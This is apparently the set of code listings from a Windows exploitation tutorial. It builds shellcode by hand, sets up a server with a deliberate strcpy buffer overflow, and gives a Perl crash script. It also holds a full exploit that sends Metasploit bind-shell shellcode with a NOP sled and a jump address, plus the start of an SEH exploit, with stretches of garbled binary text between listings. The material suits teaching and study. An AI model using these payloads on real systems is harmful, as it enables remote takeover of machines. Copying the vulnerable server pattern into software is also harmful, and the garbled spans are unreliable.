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1 //sleep.cpp : Defines the entry point for the console application. 

2 #include "stdafx.h" 

3 #include "Windows.h" 

4 //this has been written in visual studio .NET, this can be written in VS 6 as well. 

5 void main() 

6 { 

7  Sleep(99999999); 

8 } 
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1 4:    #include "stdafx.h" 

2 5:    #include "Windows.h" 

3 6:  

4 7:    void main() 

5 8:    { 

6 0040B4B0   push        ebp 

7 0040B4B1   mov         ebp,esp 

8 0040B4B3   sub         esp,40h 

9 0040B4B6   push        ebx 

10 0040B4B7   push        esi 

11 0040B4B8   push        edi 

12 0040B4B9   lea         edi,[ebp-40h] 

13 0040B4BC   mov         ecx,10h 

14 0040B4C1   mov         eax,0CCCCCCCCh 

15 0040B4C6   rep stos    dword ptr [edi] 

16 9:        Sleep(99999999); 

17 0040B4C8   mov         esi,esp 
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18 0040B4CA   push        5F5E0FFh 

19 0040B4CF   call        dword ptr [KERNEL32_NULL_THUNK_DATA (004241f8)] 

20 0040B4D5   cmp         esi,esp 

21 0040B4D7   call        __chkesp (00401060) 

22 10:   } 

23 0040B4DC   pop         edi 

24 0040B4DD   pop         esi 

25 0040B4DE   pop         ebx 

26 0040B4DF   add         esp,40h 

27 0040B4E2   cmp         ebp,esp 

28 0040B4E4   call        __chkesp (00401060) 

29 0040B4E9   mov         esp,ebp 

30 0040B4EB   pop         ebp 

31 0040B4EC   ret 
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16 9:        Sleep(99999999); 
17 0040B4C8 8B F4                mov         esi,esp 
18 0040B4CA 68 FF E0 F5 05       push        5F5E0FFh 
19 0040B4CF FF 15 F8 41 42 00    call        dword ptr    [�KERNEL32_NULL_THUNK_DATA 
(004241f8)] 
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1 push 99999999 

2 mov eax, 0x77E61BE6 

3 call eax 
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C:\WINDOWS\system32>dumpbin /all kernel32.dll 
Microsoft (R) COFF Binary File Dumper Version 6.00.8168 
Copyright (C) Microsoft Corp 1992-1998. All rights 
reserved. 
Dump of file kernel32.dll 
PE signature found 
File Type: DLL 
FILE HEADER VALUES 



���������	
��
����

���
����� � � � � � � � � � ������������	�;�
�����

�����	��
����
�������
�� � �	��
�����
������������

             14C machine (i386) 
               4 number of sections 
        3B7DFE0E time date stamp Fri Aug 17 22:33:02 2001 
               0 file pointer to symbol table 
               0 number of symbols 
              E0 size of optional header 
            210E characteristics 
                   Executable 
                   Line numbers stripped 
                   Symbols stripped 
                   32 bit word machine 
                   DLL 
 
OPTIONAL HEADER VALUES 
             10B magic # 
            7.00 linker version 
           74800 size of code 
           6DE00 size of initialized data 
               0 size of uninitialized data 
           1A241 RVA of entry point 
            1000 base of code 
           71000 base of data 
        77E60000 image base 
            1000 section alignment 
             200 file alignment 
            5.01 operating system version 
            5.01 image version 
 
C:\WINDOWS\system32>dumpbin kernel32.dll /exports  
Microsoft (R) COFF Binary File Dumper Version 6.00.8168 
Copyright (C) Microsoft Corp 1992-1998. All rights 
reserved. 
Dump of file kernel32.dll 
File Type: DLL 
  Section contains the following exports for KERNEL32.dll 
           0 characteristics 
    3B7DDFD8 time date stamp Fri Aug 17 20:24:08 2001 
        0.00 version 
           1 ordinal base 
         928 number of functions 
         928 number of names 
 
    ordinal hint RVA      name 
 
1    0 00012ADA ActivateActCtx 
2    1 000082C2 AddAtomA 
  …… 
  …….. 
800  31F 0005D843 SetVDMCurrentDirectories 
801  320 000582DC SetVolumeLabelA 
802  321 00057FBD SetVolumeLabelW 
803  322 0005FBA2 SetVolumeMountPointA 
804  323 0005EFF4 SetVolumeMountPointW 
805  324 00039959 SetWaitableTimer 



���������	
��
����

���
����� � � � � � � � � � ������������	�8�
�����

�����	��
����
�������
�� � �	��
�����
������������

806  325 0005BC0C SetupComm 
807  326 00066745 ShowConsoleCursor 
808  327 00058E09 SignalObjectAndWait 
809  328 0001105F SizeofResource 
810  329 00001BE6 Sleep 
811  32A 00017562 SleepEx 
812  32B 00038BD8 SuspendThread 
813  32C 00039607 SwitchToFiber 
814  32D 0000D52C SwitchToThread 
815  32E 00017C4C SystemTimeToFileTime 
816  32F 00052E72 SystemTimeToTzSpecificLocalTime 
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1 // sleepasm.cpp : Defines the entry point for the console application. 

2 // 

3  

4 #include "stdafx.h" 

5 #include "Windows.h" 

6  

7 void main() 

8 { 

9 __asm 

10 { 

11  

12 push 99999999 

13 mov eax, 0x77E61BE6 

14 call eax 

15 }  

16 } 
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1 //sleepop.c 

2  

3 #include "windows.h" 

4  

5 char shellcode[] = "\x68\xFF\xE0\xF5\x05\xB8\xE6\x1B\xE6\x77\xFF\xD0"; 

6  

7 void (*opcode) (); 

8 void main() 

9 { 

10 opcode = &shellcode; 

11 opcode(); 

12 } 
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1 // cmnd.cpp : Defines the entry point for the console application. 

2 // Executes cmd and opens a command prompt. 

3  

4 #include "stdafx.h" 

5 #include "Windows.h" 

6 #include "stdlib.h" 
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7  

8 void main() 

9 { 

10 char var[4]; 

11 var[0]='c'; 

12 var[1]='m'; 

13 var[2]='d'; 

14 var[3]='\0'; //will cause problems as we can't use 00 to execute. 

15 WinExec(var,1); 

16 exit(1); 

17 } 
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1 10:       char var[4]; 

2 11:       var[0]='c'; 

3 00401028   mov         byte ptr [ebp-4],63h 

4 12:       var[1]='m'; 

5 0040102C   mov         byte ptr [ebp-3],6Dh 

6 13:       var[2]='d'; 

7 00401030   mov         byte ptr [ebp-2],64h 

8 14:       var[3]='\0'; //will cause problems as we can't use 00 to execute. 

9 00401034   mov         byte ptr [ebp-1],0 

10 15:       WinExec(var,1); 

11 00401038   mov         esi,esp 

12 0040103A   push        1 

13 0040103C   lea         eax,[ebp-4] 

14 0040103F   push        eax 

15 00401040   call        dword ptr [__imp__WinExec@8 (0042413c)] 

16 00401046   cmp         esi,esp 

17 00401048   call        __chkesp (00401250) 

18 16:       exit(1); 

19 0040104D   push        1 

20 0040104F   call        exit (004010c0) 
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1 // cmndasmdrty.cpp : Defines the entry point for the console application.                                                                 

2 //                                                                                                                                    

3                                                                                                                                       

4 #include "stdafx.h"                                                                                                                           

5  

6 void main()                                                                                                                                   

7 {                                                                                                                                             

8 __asm                                                                                                                              

9 {                                                                                                                                     

10 mov         byte ptr [ebp-4],63h //var[0]='c'                                                                        

11 mov         byte ptr [ebp-3],6Dh //var[1]='m'                                                                                 

12 mov         byte ptr [ebp-2],64h //var[2]='d'                                                                          

13 mov         byte ptr [ebp-1],0   //var[3]='\0'  

14 //will cause problems as we can't use 00, it will terminate the // 

15 //entire shellcode. 
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16 //code for WinExec(var, 1);                                                                                      

17 //mov         esi,esp, we do not really need this instruction  

18 //to execute.                                                     

19 push        1  //argument that is being passed to winexec                                                        

20 lea         eax,[ebp-4]                                                                                                       

21 push        eax //puting the value onto the stack                                                                           

22 mov eax, 0x77e684C6 //call        dword ptr [__imp__WinExec@8 (0042413c)]                                                 

23 call eax                                                                                                                      

24 //cmp         esi,esp we do not really need this instruction to execute.                                                      

25 //call        __chkesp (00401250) we do not really need this instruction to execute.                                          

26 //code for exit(1);                                                                                                           

27 push        1                                                                                                                 

28 mov eax, 0x77E75CB5                                                                                                           

29 call eax                                                                                                                      

30 }                                                                                                                                     

31 }                                                                                                                                 
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1 // cmndasm.cpp : Defines the entry point for the console application. 

2 //  

3  

4 #include "stdafx.h" 

5  

6 void main() 

7 { 

8 __asm 

9 { 

10 mov esp, ebp 

11 xor esi,esi 

12 push esi 

13  

14 mov         byte ptr [ebp-4],63h  

15 mov         byte ptr [ebp-3],6Dh  

16 mov         byte ptr [ebp-2],64h  

17 //mov         byte ptr [ebp-1],0    

18  

19 push 1  

20 lea         eax,[ebp-4]   

21 push        eax  

22  

23 mov eax, 0x77e684C6 
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24 call eax 

25  

26 push 1    

27  

28 mov eax, 0x77E75CB5               

29 call eax                                                                                                                

30 } 

31 } 
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1 // cmndasmxor.cpp : Defines the entry point for the console application. 

2 #include "stdafx.h" 

3  

4 void main() 

5 { 

6 __asm 

7 { 

8 mov esp, ebp 

9 xor esi,esi 

10 push esi 

11 //original cmd\0   

12 //  mov         byte ptr [ebp-4],63h  

13 //  mov         byte ptr [ebp-3],6Dh  

14 //  mov         byte ptr [ebp-2],64h  

15 //  mov         byte ptr [ebp-1],0    

16  

17 mov ecx, 0x777777ff 

18 mov ebx, 0x77131A9C 

19 xor ecx, ebx 

20 //resulting XOR value (0x00646d63) is stored in ecx. 

21 mov  [ebp - 4], ecx 

22 //the resulting value cmd\0 will be pushed onto the stack. 

23 push 1  

24 lea         eax,[ebp-4]   

25 push        eax  

26 mov eax, 0x77e684C6 

27 call eax 

28 push 1   //push 1 to exit 

29 mov eax, 0x77E75CB5               

30 call eax                                                                                                                

31 } 

32 } 
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1 mov         byte ptr [ebp-8],6Eh //n 

2 mov         byte ptr [ebp-7],6Fh //o 

3 mov         byte ptr [ebp-6],74h //t 

4 mov         byte ptr [ebp-5],65h //e 

5 //mov         byte ptr [ebp-4],70h //p 

6 //mov         byte ptr [ebp-3],61h //a 

7 //mov         byte ptr [ebp-2],64h //d 

8 //mov  byte ptr [ebp-1], 0  //\0 

9 //method two where we xor the 4bytes to store pad\0 

10 mov ecx, 0x777777ff 

11 mov ebx, 0x7713168F 

12 xor ecx, ebx 

13  

14 mov  [ebp - 4], ecx 

15 push ecx 
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1 mov         byte ptr [ebp-8],6Eh 

2 mov         byte ptr [ebp-7],6Fh 

3 mov         byte ptr [ebp-6],74h 

4 mov         byte ptr [ebp-5],65h 

5 mov         byte ptr [ebp-4],70h 

6 mov         byte ptr [ebp-3],61h 

7 mov         byte ptr [ebp-2],64h 

8 //mov         byte ptr [ebp-1],0 

9 //Thus storing 0x00000000 in ecx.  

10 xor ecx, ecx 

11 //Taking the lowest bit which is stored in cl  of the ecx register and pushing the 
result onto the stack(refer windows assembly chapter)  

12 mov  [ebp - 1], cl 

13  

14 //push eax 

15 push cl 
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1 /* server.cpp : Defines the entry point for the console application. 

2 Written in VC 6.0*/ 

3  

4 #include "stdafx.h" 

5 #include <iostream> 

6 #include <winsock.h> 

7 #include <windows.h> 

8  

9 //load windows socket  

10 #pragma comment(lib, "wsock32.lib") 

11  

12 //Define Return Messages 

13 #define SS_ERROR 1 

14 #define SS_OK 0 

15  

16  

17 void pr( char *str) 

18 {  

19 char buf[2000]="";  

20 strcpy(buf,str); 

21 } 

22 void sError(char *str) 

23 { 

24 MessageBox (NULL, str, "socket Error" ,MB_OK); 

25 WSACleanup(); 

26 } 

27  

28  

29 int main(int argc, char **argv) 

30 { 

31  
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32 if ( argc != 2) 

33 { 

34 printf("\nUsage: %s <Port Number to listen on.>\n", argv[0]); 

35 return SS_ERROR; 

36 } 

37  

38 WORD sockVersion; 

39 WSADATA wsaData; 

40  

41 int rVal; 

42 char Message[5000]=""; 

43 char buf[2000]="";  

44  

45 u_short LocalPort; 

46 LocalPort = atoi(argv[1]); 

47  

48 //wsock32 initialized for usage 

49 sockVersion = MAKEWORD(1,1); 

50 WSAStartup(sockVersion, &wsaData); 

51  

52 //create server socket 

53 SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0); 

54  

55 if(serverSocket == INVALID_SOCKET) 

56 { 

57 sError("Failed socket()"); 

58 return SS_ERROR; 

59 } 

60  

61 SOCKADDR_IN sin; 

62 sin.sin_family = PF_INET; 

63 sin.sin_port = htons(LocalPort); 

64 sin.sin_addr.s_addr = INADDR_ANY; 

65  

66 //bind the socket 

67 rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin)); 

68 if(rVal == SOCKET_ERROR) 

69 { 

70 sError("Failed bind()"); 

71 WSACleanup(); 

72 return SS_ERROR; 

73 } 

74  

75 //get socket to listen  

76 rVal = listen(serverSocket, 10); 

77 if(rVal == SOCKET_ERROR) 

78 { 

79 sError("Failed listen()"); 

80 WSACleanup(); 

81 return SS_ERROR; 

82 } 

83  

84 //wait for a client to connect 

85 SOCKET clientSocket; 

86 clientSocket = accept(serverSocket, NULL, NULL); 

87 if(clientSocket == INVALID_SOCKET) 

88 { 

89 sError("Failed accept()"); 

90 WSACleanup(); 
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91 return SS_ERROR; 

92 }  

93  

94 int bytesRecv = SOCKET_ERROR; 

95 while( bytesRecv == SOCKET_ERROR )  

96 { 

97 //receive the data that is being sent by the client max limit to 5000 bytes. 

98 bytesRecv = recv( clientSocket, Message, 5000, 0 ); 

99  

100 if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )  
101 { 
102 printf( "\nConnection Closed.\n"); 
103 break; 
104 } 
105 } 
106  
107 //Pass the data received to the function pr 
108 pr(Message); 
109  
110 //close client socket 
111 closesocket(clientSocket); 
112 //close server socket 
113 closesocket(serverSocket); 
114  
115 WSACleanup(); 
116  
117 return SS_OK; 
118 } 
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1 /* client.cpp : Defines the entry point for the console application. 

2 Written in VC 6.0*/ 

3 create a TCP socket (client socket) 

4 create a hostent structure  

5 resolve ip address 

6 if successful 

7 then 

8 create another socket with socket_in (essentially server socket) 

9 copy the contents of the hostent into new socket 

10  

11  

12 */ 

13  

14 #include "stdafx.h" 

15 #include <iostream> 

16 #include <winsock.h> 

17  

18 //load windows socket  

19 #pragma comment(lib, "wsock32.lib") 

20  

21 //Define Return Messages 

22 #define CS_ERROR 1 
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23 #define CS_OK 0 

24  

25  

26 //Usage Function 

27 void usage(char *name) 

28 { 

29 printf("usage: %s <Server Host> <Server Port> <Message To Be Sent>\n\n", name); 

30 } 

31  

32 //Error Function 

33 void sError(char *str) 

34 { 

35 MessageBox(NULL, str, "Client Error" ,MB_OK); 

36 WSACleanup(); 

37  

38 } 

39  

40  

41 int main(int argc, char **argv) 

42 { 

43 //Declarations 

44  

45 char* serverIP; 

46 unsigned short serverPort; 

47  

48  

49 WORD version ; 

50 version = MAKEWORD(1,1); 

51 WSADATA wsaData; 

52  

53  

54 if(argc != 4) 

55 { 

56 usage(argv[0]); 

57 return  CS_ERROR; 

58 } 

59  

60 //wsock32 initialized/started up for usage 

61 WSAStartup(version,&wsaData); 

62  

63 //Create Socket 

64 SOCKET clientSocket; 

65 clientSocket = socket(AF_INET, SOCK_STREAM, 0); 

66  

67 if(clientSocket == INVALID_SOCKET) 

68 {  

69 sError("Socket error!"); 

70 closesocket(clientSocket); 

71 WSACleanup();     

72 return CS_ERROR; 

73 } 

74  

75  

76 struct hostent *srv_ptr; 

77  

78 //gethostbyname returns a pointer to hostent( a structure which store information 
about a host) 

79  

80 srv_ptr = gethostbyname(argv[1]); 
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81  

82 if( srv_ptr == NULL ) 

83 { 

84 sError("Can't resolve name."); 

85 WSACleanup(); 

86 return CS_ERROR; 

87 } 

88 struct sockaddr_in serverSocket; 

89 serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list); 

90 serverPort = htons(u_short(atoi(argv[2]))); 

91  

92 serverSocket.sin_family = AF_INET; 

93 serverSocket.sin_addr.s_addr = inet_addr(serverIP); 

94 serverSocket.sin_port = serverPort; 

95  

96 //Attempt to connect to remote host 

97 if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket))) 

98 { 

99 sError("Connection error."); 

100 return CS_ERROR; 
101 } 
102 // Send data on successful connection, note no limit on argv[3] 
103 send(clientSocket, argv[3], strlen(argv[3]), 0); 
104  
105 printf("\nMessage Sent\nConnection Closed.\n");  
106 closesocket(clientSocket); 
107 WSACleanup(); 
108 return CS_OK; 
109 } 
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1 #perl program to crash the server. 

2 $arg= "A"x 2000 ."BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"; 

3 # EIP = CCCC and EBP = BBBB 

4 $cmd = "client.exe 127.0.0.1 9999 ".$arg; 

5 system($cmd); 

 
: 	��� 	��#
�	��	
����
�������
���� 	��	
�	
�������
�� ��� 	�&.��� 
��!��
�����
�

/";�;�;�;����!�&���� 
��!��
�����
�/";4;4;4;4������	���
��/";������ 	� 	"�
	�
	�	�����
���

�

.���!�/";4����� 	� 	"�
	�
	�	�����
��
�����

�



���������	
��
����

���
����� � � � � � � � � � ������������	��0�
�����

�����	��
����
�������
�� � �	��
�����
������������

�

 ��!	���./0.�%������#��
�
���
��#	�����������
�����������	(�	�!��
��������	����	���&�

$��������� 
�	�	
���	�!
��
����
�����	
� 
�������� �
���	
��� 	����������
���
�� 	��
��!��

	�� ���
��	���	�!
��
�� ��	����	����
�� 	��
�
�	��
!	��
�
���� 	����!
���!	#���	
�

��������� 	��
�
�	��
��	� ��	��
�	�!����������
� 	
��

������ ����
���!#��

����!#���
���	��� 	�


	������
��!����#	�����	����
�������������
������	�

����
�

����	���DD	
�����#	���	!��
����
���	�� 	��

�	���
���	�!����!���	
	������!��2��D	���!�
���	3�
��!�����
���
	�
�	��

�����
�����������2 ���?++�������������	���
�+
	�
�
�	�B

�
		�
����
	�� ���3��������DD������������������#�	��

��
		��
�!
���
�!������	��
�#��	!���� �


���!#�� ��	�#		����	!��
����!�#���������������������
�����!��

�
�
�������	�	�����
����
�

����!#��2 ���?++ 
�	��B
����	�!	+ 
�	+����!#�+3������!	#���	
��

�F��

�
���:��!
���
���������
���� �� � ����� 
���
������B����� �� � 	������ ��
��
����#��������������!	#�������

�	���
	����!��	�
� ��

�����
����� 

�� ��!!���
�����
!��	��� ����
	��
�!	!���
������ ����
���������
��#������
��
���	��� 	�����	�
��
	����	
����!�� 	��
��

����
��
��� 	��

�
�����

�

��	�
��� 	������
	��
����

�����������!#������ 	�%����@���������(��
���	��#��)9��$ ���
����B������������#�	��

�� ���?++����� 	�
	����!	+���+��	#���	��1���	��
�� 

�� �� 	��	"��

	"��
����	��������	�� �������B����$ ���������� 	�������!�����
!	����
����������� �� ����
	-��
	!��
�
������ 	�� 	���
!	�������	"��
����

�	���
���������������

�
$ 	�	"��
����
���	���

�� 	��#
�	��	
�	
�����	
�#�������������	������� ����!���	
	���

�	� ��-�	������	�!�
��J��������
�����"	!��!!
	�������	��	
	�!
�������� 	�	�
��	
�	"����	����	�
�����	"	���	��������
����
���
�J�����
���
	����	
�� �� �
	��!	������!	�
�	�
��� 	��
!��	���
�!	!�

��
������ �
�
�����	
�#�	�	"	����#�	��$ ����	�������	�
� �� 

�� ������ 	��
�!	!��
!��	���
�
�	�
� ��

���������
����
���� ���	�� 	
��166�

�KF��&19��&.9��&�9��&>9��&.���&����&�����!�&>���

$ 	��
�������
��	
�

��
�	�
��� 	�	�����
����
���� �� ��
��!�K�����
�
�
�� 	���
!	�2$ �������

���
����������#	�!
�	�������� 	�����@���������3��
�

������
��	���	
��!����������
�J�����
�� 	�	"�����
����
��
��� 	�� 	���
!	��� ���������
��
��
�
�����	��� 	�� 	���
!	������


��!	!�#��=���

�=
�
�	
���
��2/"*/3��� �������
��
����
	�	

	!�

�
����� 	�=�����	!�	��$ ���� 	��� 	�J��������
����
������	
�

�	!���!�&�����!���
�	� 	
	����

� 	�=�����	!�	�� 	���������!	��!
���� 

�� �� 	�=�����
������!����!��������� 	�#	��������
��� 	�
� 	���
!	���!�
��	�� 	�� 	���
!	����	��
���	
	!�������	"	���	!��

�
=
���
��
��	�
�
�	"��
����
!	���	������
	��	�� 	����	����
�
	�
	��	�� 	��
��	���
���
�� 	�

�	
�	
�� 
�	�	
�����	�!�
���������� 	��	����	��

��� 	��
����!����	���	�������
!����� 	��
!	�

��!��	�!�
�
�
���� 	���
!	��
���	!������=�����	!�	��
�



���������	
��
����

���
����� � � � � � � � � � ������������	����
�����

�����	��
����
�������
�� � �	��
�����
������������

�

+
��	��

��
��������������#���������
�������

$ 	��#
�	�!���
���������
��	��� 	�����
�!���!�� 	�����
��� ������#	�����	
�

�	!�#��� 	�
����
�!���

�

���	�� 	�#���	
� ���#		��
�	
��
���� 	�&.����!�&���
	����	
���
	�
�	
�
���	���&����
�����
�
�� 	�=�����	!�	�J����#	�

	�� 	���

	����
����
��
��� 	��!!
	���
��KF��&>���$ 	�&>��
	����	
�

�
������
�	� 	
	�#	�

	�� 	�� 	���
!	����� 	�=�����	!�	�����	�KF��&>�����	"	���	!������
������
�
���
����
���
�	� 	
	����� 	�=�����	!�	�2/"*/3��$ 	�=�����	!�	�����
������ 	�
�	
����������	��

�
��
�	��
�� 	��	"������
����
����� 
����	
�

���������
� 	
�����
���$ ����
�����	����������
	��
���	
��� 	�#	��������
��� 	�� 	���
!	������ ���	"����	��� 	�����
�!����� 	���
!	�� ������
�����

����	�	
�
���

��*�*���1��	
�����	��������
�������� 	�	"��
����� 	��	
�	
�� 
��!����
��������	�	
�
��

*�*����!�������

����
������
��	���
����
�

KF��&>������ 
�	��#	����	�� 	�&>��
	����	
����� 	��
����
��� ����
�������
�	����
�� 	
	�
� 	�����
�!�����
�!	!������	�!�
��&>��
� 	
�
	����	
���
��!� ��	�#		����	!����� 	���	
	��
�������

��
�	
��
�� 	��
����
��
��� 	�����
�!��

 
 
1 // Xploit.cpp : Defines the entry point for the console application. 

2 //port listner starts on port 9191 

3 //Shell code has been generated from metasploit.com website. 

4 /* 

5 create a TCP socket (client socket) 

6 create a hostent structure  

7 resolve ip address 

8 if successful 

9 then 

10 create another socket with socket_in (essentially server socket) 

11 copy the contents of the hostent into new socket 

12 */ 

13  

14 #include "stdafx.h" 
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15 #pragma comment(lib, "wsock32.lib") 

16 #include <iostream> 

17 #include <windows.h> 

18 #include <winsock.h> 

19  

20 #define NOP 0x90 

21 #define BUFSIZE 3500 

22  

23 #define CS_ERROR 1 

24 #define CS_OK 0 

25  

26 void usage(char *name) 

27 {     printf("written by Nish Bhalla <Nish[a-t]securitycompass.com>  \nusage: %s 
<Server Host> <Server Port>\nAfter running the exploit nc -vv <Remote IP> 9191\n", 
name); 

28 } 

29 void sError(char *str) 

30 { 

31 MessageBox (NULL, str, "socket Error" ,MB_OK); 

32 WSACleanup(); 

33 } 

34 int main(int argc, char **argv) 

35 { 

36 /* win32_bind - Encoded Shellcode [\x00] 

37 [ EXITFUNC=process LPORT=9191 Size=399 ]  

38 http://metasploit.com  

39 shellcode generated from metasploit.com, it encodes \x00*/ 

40 unsigned char reverseshell[] =  

41 "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x12\x56" 

42 "\xf1\x86\x83\xeb\xfc\xe2\xf4\xee\xbe\xa7\x86\x12\x56\xa2\xd3\x44" 

43 "\x01\x7a\xea\x36\x4e\x7a\xc3\x2e\xdd\xa5\x83\x6a\x57\x1b\x0d\x58" 

44 "\x4e\x7a\xdc\x32\x57\x1a\x65\x20\x1f\x7a\xb2\x99\x57\x1f\xb7\xed" 

45 "\xaa\xc0\x46\xbe\x6e\x11\xf2\x15\x97\x3e\x8b\x13\x91\x1a\x74\x29" 

46 "\x2a\xd5\x92\x67\xb7\x7a\xdc\x36\x57\x1a\xe0\x99\x5a\xba\x0d\x48" 

47 "\x4a\xf0\x6d\x99\x52\x7a\x87\xfa\xbd\xf3\xb7\xd2\x09\xaf\xdb\x49" 

48 "\x94\xf9\x86\x4c\x3c\xc1\xdf\x76\xdd\xe8\x0d\x49\x5a\x7a\xdd\x0e" 

49 "\xdd\xea\x0d\x49\x5e\xa2\xee\x9c\x18\xff\x6a\xed\x80\x78\x41\x93" 

50 "\xba\xf1\x87\x12\x56\xa6\xd0\x41\xdf\x14\x6e\x35\x56\xf1\x86\x82" 

51 "\x57\xf1\x86\xa4\x4f\xe9\x61\xb6\x4f\x81\x6f\xf7\x1f\x77\xcf\xb6" 

52 "\x4c\x81\x41\xb6\xfb\xdf\x6f\xcb\x5f\x04\x2b\xd9\xbb\x0d\xbd\x45" 

53 "\x05\xc3\xd9\x21\x64\xf1\xdd\x9f\x1d\xd1\xd7\xed\x81\x78\x59\x9b" 

54 "\x95\x7c\xf3\x06\x3c\xf6\xdf\x43\x05\x0e\xb2\x9d\xa9\xa4\x82\x4b" 

55 "\xdf\xf5\x08\xf0\xa4\xda\xa1\x46\xa9\xc6\x79\x47\x66\xc0\x46\x42" 

56 "\x06\xa1\xd6\x52\x06\xb1\xd6\xed\x03\xdd\x0f\xd5\x67\x2a\xd5\x41" 

57 "\x3e\xf3\x86\x31\xb1\x78\x66\x78\x46\xa1\xd1\xed\x03\xd5\xd5\x45" 

58 "\xa9\xa4\xae\x41\x02\xa6\x79\x47\x76\x78\x41\x7a\x15\xbc\xc2\x12" 

59 "\xdf\x12\x01\xe8\x67\x31\x0b\x6e\x72\x5d\xec\x07\x0f\x02\x2d\x95" 

60 "\xac\x72\x6a\x46\x90\xb5\xa2\x02\x12\x97\x41\x56\x72\xcd\x87\x13" 

61 "\xdf\x8d\xa2\x5a\xdf\x8d\xa2\x5e\xdf\x8d\xa2\x42\xdb\xb5\xa2\x02" 

62 "\x02\xa1\xd7\x43\x07\xb0\xd7\x5b\x07\xa0\xd5\x43\xa9\x84\x86\x7a" 

63 "\x24\x0f\x35\x04\xa9\xa4\x82\xed\x86\x78\x60\xed\x23\xf1\xee\xbf" 

64 "\x8f\xf4\x48\xed\x03\xf5\x0f\xd1\x3c\x0e\x79\x24\xa9\x22\x79\x67" 

65 "\x56\x99\xf8\xca\xb4\x82\x79\x47\x52\xc0\x5d\x41\xa9\x21\x86"; 

66  

67  

68 //Declarations 

69 //LPHOSTENT serverSocket; 

70  

71 char* serverIP; 

72  
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73 int tout = 20000; 

74 int rcount = 0; 

75  

76 unsigned short serverPort; 

77 char MessageToBeSent[BUFSIZE] = {""}; 

78  

79 WORD version ; 

80 version = MAKEWORD(1,1); 

81 WSADATA wsaData; 

82  

83 // jmp ESP for windows xp sp2 

84 //char jmpcode[]="\xED\x1E\x94\x7C"; 

85  

86 // address for jmp EDI for windows xp (NO SP) 

87 //77EA855E jmp edi  

88 char jmpcode[]="\x5E\x85\xEA\x77"; 

89  

90 if(argc != 3) 

91 { 

92 usage(argv[0]); 

93 return  CS_ERROR; 

94 } 

95  

96 //wsock32 initialized/started up for usage 

97 WSAStartup(version,&wsaData); 

98  

99 SOCKET clientSocket; 

100 clientSocket = socket(AF_INET, SOCK_STREAM, 0); 
101  
102 if(clientSocket == INVALID_SOCKET) 
103 {  

104 printf("Socket error!\r\n"); 
105 closesocket(clientSocket); 
106 WSACleanup();     

107 return CS_ERROR; 
108 } 
109  
110 //gethostbyname returns a pointer to hostent( a structure which store information 

about a host) 

111 struct hostent *srv_ptr; 

112 srv_ptr = gethostbyname( argv[1]); 
113  
114 if( srv_ptr == NULL ) 
115 { 
116 printf("Can't resolve name, %s.\n", argv[1]); 
117 WSACleanup(); 
118 return CS_ERROR; 
119 } 
120  
121 struct sockaddr_in serverSocket; 
122  
123 serverIP = inet_ntoa (*(struct in_addr *)*srv_ptr->h_addr_list); 
124 serverPort = htons(u_short(atoi(argv[2]))); 
125  
126 serverSocket.sin_family = AF_INET; 
127 serverSocket.sin_addr.s_addr = inet_addr(serverIP); 
128 serverSocket.sin_port = serverPort; 
129  
130 //Attempt to connect to remote host 
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131 if (connect(clientSocket, (struct sockaddr *)&serverSocket, sizeof(serverSocket))) 
132 { 
133     printf("\nConnection error.\n"); 
134     return CS_ERROR; 
135 } 
136  
137 memset( MessageToBeSent, NOP, BUFSIZE); 
138  
139 memcpy( MessageToBeSent + 1200, reverseshell, sizeof(reverseshell)-1); 
140 memcpy( MessageToBeSent + 2004, jmpcode, sizeof(jmpcode)-1); 
141  
142  
143  
144 // Send data on successful connection, note no limit on argv[3] 
145  
146 send(clientSocket, MessageToBeSent, strlen(MessageToBeSent), 0); 
147 printf("\nMessage Sent\n");  
148 char rstring[1024]=""; 
149  
150 int bytesRecv = SOCKET_ERROR; 
151  
152 //Following while loop, ensures all data has been sent successfully 
153  
154 while( bytesRecv == SOCKET_ERROR )  
155 { 
156 bytesRecv = recv( clientSocket, rstring, sizeof(rstring), 0 ); 
157 if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )  
158 { 
159  printf( "\nConnection Closed.\n"); 
160 break; 
161 }   

162 } 
163  
164 closesocket(clientSocket); 
165 WSACleanup(); 
166 return CS_OK; 
167 } 
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1 // ErrorGen.cpp : Defines the entry point for the console application. 

2 #include "stdafx.h" 

3 int main() 

4 { 

5 int a, b; 

6 a= 4 % 2; 

7 b= 4 / a; 

8 } 
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1 //SEHeXploit.cpp : Defines the entry point for the console application. 

2 //port listner starts on port 9191 

3 //Shell code has been generated from metasploit.com website. 

4  

5 #include "stdafx.h" 

6 #pragma comment(lib, "wsock32.lib") 

7 #include <iostream> 

8 #include <windows.h> 

9 #include <winsock.h> 

10  

11 #define NOP 0x90 

12 #define CS_ERROR 1 

13 #define CS_OK 0 

14 #define BUFSIZE 3500 

15  

16 void usage(char *name) 

17 {     printf("written by Nish Bhalla <Nish[a-t]securitycompass.com>  \nusage: %s 
<Server Host> <Server Port>\nAfter running the exploit nc -vv <Remote IP> 9191\n", 
name); 

18 } 

19  

20  

21 void sError(char *str) 

22 { 

23  MessageBox (NULL, str, "socket Error" ,MB_OK); 

24  WSACleanup(); 

25 } 

26  

27  

28 int main(int argc, char **argv) 

29 { 

30   

31    

32 /* win32_bind - Encoded Shellcode [\x00] [ EXITFUNC=process LPORT=9191 Size=399 ] 
http://metasploit.com */ 

33 unsigned char reverseshell[] =  

34 "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x12\x56" 

35 "\xf1\x86\x83\xeb\xfc\xe2\xf4\xee\xbe\xa7\x86\x12\x56\xa2\xd3\x44" 

36 "\x01\x7a\xea\x36\x4e\x7a\xc3\x2e\xdd\xa5\x83\x6a\x57\x1b\x0d\x58" 

37 "\x4e\x7a\xdc\x32\x57\x1a\x65\x20\x1f\x7a\xb2\x99\x57\x1f\xb7\xed" 

38 "\xaa\xc0\x46\xbe\x6e\x11\xf2\x15\x97\x3e\x8b\x13\x91\x1a\x74\x29" 

39 "\x2a\xd5\x92\x67\xb7\x7a\xdc\x36\x57\x1a\xe0\x99\x5a\xba\x0d\x48" 

